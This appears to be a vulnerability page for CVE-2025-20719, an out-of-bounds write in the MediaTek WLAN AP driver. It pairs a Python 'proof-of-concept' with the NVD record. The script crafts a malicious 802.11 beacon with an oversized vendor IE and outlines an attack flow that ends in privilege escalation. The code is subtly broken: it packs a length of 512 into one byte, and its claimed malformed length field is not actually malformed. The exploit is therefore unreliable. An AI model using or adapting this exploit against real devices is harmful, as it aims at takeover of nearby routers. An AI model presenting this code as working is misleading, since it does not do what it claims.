CVE-2025-20719

# CVE-2025-20719 - MediaTek WLAN AP Driver Out-of-Bounds Write PoC # This is a conceptual proof-of-concept demonstrating the exploitation approach # Note: Actual exploitation requires proximity to the target device import struct import socket # 802.11 Management Frame structure class Dot11Frame: def __init__(self, frame_type=0x00, frame_subtype=0x08): self.frame_type = frame_type # Management frame self.frame_subtype = frame_subtype # Beacon frame self.duration = 0 self.addr1 = b'\xff\xff\xff\xff\xff\xff' # Destination (broadcast) self.addr2 = b'\x00\x11\x22\x33\x44\x55' # Source (attacker MAC) self.addr3 = b'\xff\xff\xff\xff\xff\xff' # BSSID self.seq_ctrl = 0 def build_malicious_beacon(self, overflow_size=256): """Build a malicious beacon frame with oversized IE elements to trigger out-of-bounds write in the WLAN AP driver""" frame = struct.pack('!B', 0x80) # Frame control: Beacon frame += struct.pack('!H', self.duration) frame += self.addr1 + self.addr2 + self.addr3 frame += struct.pack('!H', self.seq_ctrl) # Beacon frame body with manipulated Information Elements # The malformed IE length triggers the bounds check bypass beacon_body = struct.pack('!Q', 0) # Timestamp beacon_body += struct.pack('!H', 100) # Beacon interval beacon_body += struct.pack('!H', 0x0001) # Capabilities # Malicious IE with incorrect length field (triggers OOB write) malicious_ie = struct.pack('!BB', 0xDD, overflow_size) # Vendor specific IE malicious_ie += b'\x00' * overflow_size # Oversized payload return frame + beacon_body + malicious_ie def exploit(): """ Exploitation flow: 1. Attacker positions within WiFi range of target device 2. Sends crafted beacon/management frames 3. Vulnerable driver processes frame with incorrect bounds check 4. Out-of-bounds write occurs in kernel memory 5. Attacker gains elevated privileges on the device """ frame_builder = Dot11Frame() malicious_frame = frame_builder.build_malicious_beacon(overflow_size=512) # In a real attack, this would be transmitted via raw 802.11 sockets # using monitor mode with a compatible wireless adapter print(f"[*] Crafted malicious frame: {len(malicious_frame)} bytes") print(f"[*] Frame contains oversized IE to trigger CVE-2025-20719") print(f"[*] Requires proximity to target (Adjacent network attack)") return malicious_frame if __name__ == "__main__": payload = exploit() # Transmission requires: aircrack-ng suite, scapy, or raw socket access # in monitor mode on a compatible wireless adapter

{"cve": {"id": "CVE-2025-20719", "sourceIdentifier": "[email protected]", "published": "2025-10-14T10:15:36.637", "lastModified": "2025-10-15T18:45:31.023", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In wlan AP driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to remote (proximal/adjacent) escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: WCNCR00418955; Issue ID: MSV-3570."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mediatek:software_development_kit:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.6.7.2", "matchCriteriaId": "0DD86CC1-BD46-42D2-9112-190CCAC96B30"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7603:-:*:*:*:*:*:*:*", "matchCriteriaId": "8A45CDA9-95E6-4C02-8C3C-3B0CF7272A6F"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7615:-:*:*:*:*:*:*:*", "matchCriteriaId": "05748BB1-0D48-4097-932E-E8E2E574FD8D"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7622:-:*:*:*:*:*:*:*", "matchCriteriaId": "55EB4B27-6264-45BE-9A22-BE8418BB0C06"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7915:-:*:*:*:*:*:*:*", "matchCriteriaId": "3AB22996-9C22-4B6C-9E94-E4C055D16335"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7916:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD5AA441-5381-4179-89EB-1642120F72B4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7981:-:*:*:*:*:*:*:*", "matchCriteriaId": "490CD97B-021F-4350-AEE7-A2FA866D5889"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7986:-:*:*:*:*:*:*:*", "matchCriteriaId": "40A9E917-4B34-403F-B512-09EEBEA46811"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:19.07.0:-:*:*:*:*:*:*", "matchCriteriaId": "4FA469E2-9E63-4C9A-8EBA-10C8C870063A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:*", "matchCriteriaId": "F0133207-2EED-4625-854F-8DB7770D5BF7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}]}]}], "references": [{"url": "https://corp.mediatek.com/product-security-bulletin/October-2025", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}